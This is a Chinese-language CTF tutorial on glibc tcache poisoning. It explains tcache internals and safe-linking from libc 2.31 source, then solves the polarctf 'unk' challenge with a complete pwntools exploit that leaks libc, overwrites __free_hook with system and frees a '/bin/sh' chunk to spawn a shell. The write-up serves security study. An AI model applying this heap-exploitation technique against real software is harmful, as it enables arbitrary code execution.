Tcache attack
Tcache的结构
我们看看libc2.31的源码其相关的定义
#if USE_TCACHE |
/* We want 64 entries. This is an arbitrary limit, which tunables can reduce. */#字面意思 |
# define TCACHE_MAX_BINS 64 |
# define MAX_TCACHE_SIZE tidx2usize (TCACHE_MAX_BINS-1) |
/* We overlay this structure on the user-data portion of a chunk when |
the chunk is stored in the per-thread cache. */#意思大概就是他利用释放后堆块的内存去储存这个结构,不会新调用内存 |
typedef struct tcache_entry |
{ |
struct tcache_entry *next; |
/* This field exists to detect double frees. */#和字面意思一样,这个key值防止double free |
struct tcache_perthread_struct *key; |
} tcache_entry; |
/* There is one of these for each thread, which contains the |
per-thread cache (hence "tcache_perthread_struct"). Keeping |
overall size low is mildly important. Note that COUNTS and ENTRIES |
are redundant (we could have just counted the linked list each |
time), this is for performance reasons. */#重要的应该就是这个tcache是每个线程都有一个吧,其他的应该是字面意思 |
typedef struct tcache_perthread_struct |
{ |
uint16_t counts[TCACHE_MAX_BINS]; |
tcache_entry *entries[TCACHE_MAX_BINS]; |
} tcache_perthread_struct; |
static __thread bool tcache_shutting_down = false; |
static __thread tcache_perthread_struct *tcache = NULL; |
TCACHE_MAX_BINS这个宏大小被定义为64,也就是0x40。我们可以简单算一下tcache_perthread_struct结构的大小,0x40个uint16_t数组大小是0x80,有0x40个指向tcache_entry的指针也就是0x200的大小合起来也就是0x280(在libc2.30之前是0x240,区别在count的定义上,之前的类型是char)个可写内存,实际的堆块大小应该是0x290,下面我们看看这个tcache结构是放在哪的。
static void |
tcache_init(void) |
{ |
mstate ar_ptr; |
void *victim = 0; |
const size_t bytes = sizeof (tcache_perthread_struct);#tcache结构的大小给了bytes |
if (tcache_shutting_down) |
return; |
arena_get (ar_ptr, bytes);#获取一个可用的 arena |
victim = _int_malloc (ar_ptr, bytes);#分配对应大小的内存,也就是0x290 |
if (!victim && ar_ptr != NULL)#如果第一次分配失败就再试一次 |
{ |
ar_ptr = arena_get_retry (ar_ptr, bytes); |
victim = _int_malloc (ar_ptr, bytes); |
} |
if (ar_ptr != NULL) |
__libc_lock_unlock (ar_ptr->mutex); |
/* In a low memory situation, we may not be able to allocate memory |
- in which case, we just keep trying later. However, we |
typically do this very early, so either there is sufficient |
memory, or there isn't enough memory to do non-trivial |
allocations anyway. */#字面意思 |
if (victim) |
{ |
tcache = (tcache_perthread_struct *) victim;#把对应内存的指针给tcache |
memset (tcache, 0, sizeof (tcache_perthread_struct));#把这段内存清零 |
} |
} |
再后面的部分我就先用宏观的角度讲讲吧,先不结合源码讲了,tcache的链表的堆块大小从0x20一直到0x410,一共0x40个堆块,符合我们在上面看见的宏定义,如果大于这个范围那就不会进tcache,并且每个链表的堆块最大只有7个,比如0x20个堆块,他最多储存7个0x20大小的堆,剩下如果还有,那就不会进tcache。另外还要注意的就是,在libc2.41之前calloc申请堆块是不会走tcache的,也就是如果calloc申请堆块,他会直接申请其他bin中对应的堆或直接从top chunk里切割。还有就是他的next指针是直接指向下一个堆块的next指针(也就是下一个堆块的可写地址而不是堆块头)
其他特性基本与fastbin相同,单向链表,先进后出,头插法。要注意的就是在libc2.28之前tcache没有那个key值,所以可以随意double free,后面再关键一点的转变就是2.32的safelinking机制了,safelinking简单来说就是对next指针进行了加密,不能直接改成堆/目标地址了,他的加密过程的代码如下
#define PROTECT_PTR(pos, ptr) \ |
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr))) |
就是加密值 = next原本指向的地址 ^ (next指针的地址>> 12)next原本应该指向的地址就是下一个堆块的地址,所以在有safelinking的时候我们攻击就还需要泄露堆地址。
攻击
攻击有两种大方向,第一种是通过uaf,堆溢出,off by one/null + overlap直接改next指针,在libc2.32前我们只需要free大小相同的堆块a,free堆块b然后修改b堆块的next指针改成目标地址即可,不需要在目标地址伪造堆块,而2.32后就需要伪造大小了。第二种是unlink在smallbin的堆块放入tcache时,因为他只检测第一个堆块的合法性,没有检查其他堆块,所以只要修改第一个堆块的bk指针申请任意地址了。下面我还是演示一下攻击
polarctf-unk
因为这题漏洞很多就拿来练手了可以去靶场下载,去pwn那个方向搜一下就好(远程是2.23)PolarD&N,我们先patchelf一下把这个环境设置成2.31的。这题就是有uaf,有堆溢出,可以show,以及随意申请任意大小的堆块。我把反编译的代码贴出来。
int __fastcall main(int argc, const char **argv, const char **envp) |
{ |
setbuf(stdin, 0); |
setbuf(stdout, 0); |
setbuf(stderr, 0); |
while ( 1 ) |
{ |
menu(); |
switch ( get_num() ) |
{ |
case 1: |
add_chunk(); |
break; |
case 2: |
delete_chunk(); |
break; |
case 3: |
edit_chunk(); |
break; |
case 4: |
show_chunk(); |
break; |
case 5: |
exit(0); |
default: |
puts("invalid choice."); |
break; |
} |
} |
menu就是打印一些提示
int __cdecl get_num() |
{ |
char buf[24]; // [rsp+0h] [rbp-20h] BYREF |
unsigned __int64 v2; // [rsp+18h] [rbp-8h] |
v2 = __readfsqword(0x28u); |
read(0, buf, 0x10u); |
return atoi(buf); |
} |
void __cdecl add_chunk() |
{ |
int index; // [rsp+8h] [rbp-8h] |
int size; // [rsp+Ch] [rbp-4h] |
puts("index:"); |
index = get_num(); |
puts("size:"); |
size = get_num(); |
chunk_list[index] = (char *)malloc(size); |
} |
void __cdecl delete_chunk() |
{ |
int index; // [rsp+Ch] [rbp-4h] |
puts("index:"); |
index = get_num(); |
free(chunk_list[index]); |
} |
void __cdecl edit_chunk() |
{ |
int index; // [rsp+8h] [rbp-8h] |
int length; // [rsp+Ch] [rbp-4h] |
puts("index:"); |
index = get_num(); |
puts("length:"); |
length = get_num(); |
puts("content:"); |
read(0, chunk_list[index], length); |
} |
void __cdecl show_chunk() |
{ |
int index; // [rsp+Ch] [rbp-4h] |
puts("index:"); |
index = get_num(); |
puts(chunk_list[index]); |
} |
思路就是先申请一个大于0x410的堆块进unsortedbin泄露libc地址,然后free一个堆块,free第二个堆块,改第二个堆块的next指针为freehook,申请两下申请到freehook的地址,然后往一个堆块里写一个/bin/sh\x00字符串,free掉这个堆块即可getshell
我选的版本是2.31-0ubuntu9.18,exp如下:
#!/usr/bin/env python3 |
from pwn import * |
import sys |
from ctypes import * |
#from pwncli import * |
# cli_script() |
#from ae64 import AE64 |
#from pymao import * |
context.log_level='debug' |
context.arch='amd64' |
elf=ELF('./pwn') |
libc = ELF('./libc.so.6') |
# libc1=cdll.LoadLibrary('./libc.so.6') |
li='./libc.so.6' |
flag = 0 |
if flag: |
p = remote('1') |
else: |
p = process('./pwn') |
sa = lambda s,n : p.sendafter(s,n) |
sla = lambda s,n : p.sendlineafter(s,n) |
sl = lambda s : p.sendline(s) |
slr = lambda s : p.sendline(str(s)) |
sd = lambda s : p.send(s) |
sdr = lambda s : p.send(str(s).encode()) |
rc = lambda n : p.recv(n) |
ru = lambda s : p.recvuntil(s) |
ti = lambda : p.interactive() |
rcl = lambda : p.recvline() |
leak = lambda name,addr :log.success(name+"--->"+hex(addr)) |
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip()) |
i6 = lambda a : int(a,16) |
def csu(): |
pay=p64(0)+p64(0)+p64(1) |
return pay |
def ph(s): |
print(hex(s)) |
def dbg(): |
# context.terminal = ['tmux', 'splitw', '-h'] |
gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' |
pause() |
def add(s,a): |
ru(b"choice:") |
sdr(1) |
ru(b"index:") |
sdr(s) |
ru(b"size:") |
sdr(a) |
def free(s): |
ru(b"choice:") |
sdr(2) |
ru(b"index:") |
sdr(s) |
def edit(s,a,d): |
ru(b"choice:") |
sdr(3) |
ru(b"index:") |
sdr(s) |
ru(b"length:") |
sdr(a) |
ru(b"content:") |
sd(d) |
def show(s): |
ru(b"choice:") |
sdr(4) |
ru(b"index:") |
sdr(s) |
add(0,0x410) |
add(1,0x20) |
free(0) |
add(0,0x20) |
show(0) |
rcl() |
libcbase=u6(6)-0x1ecfd0 |
ph(libcbase) |
fh=libcbase+libc.sym['__free_hook'] |
sy=libcbase+libc.sym['system'] |
free(0) |
free(1) |
edit(1,0x8,p64(fh)) |
add(0,0x20) |
add(1,0x20) |
edit(1,8,p64(sy)) |
edit(0,8,b'/bin/sh\x00') |
free(0) |
ti() |
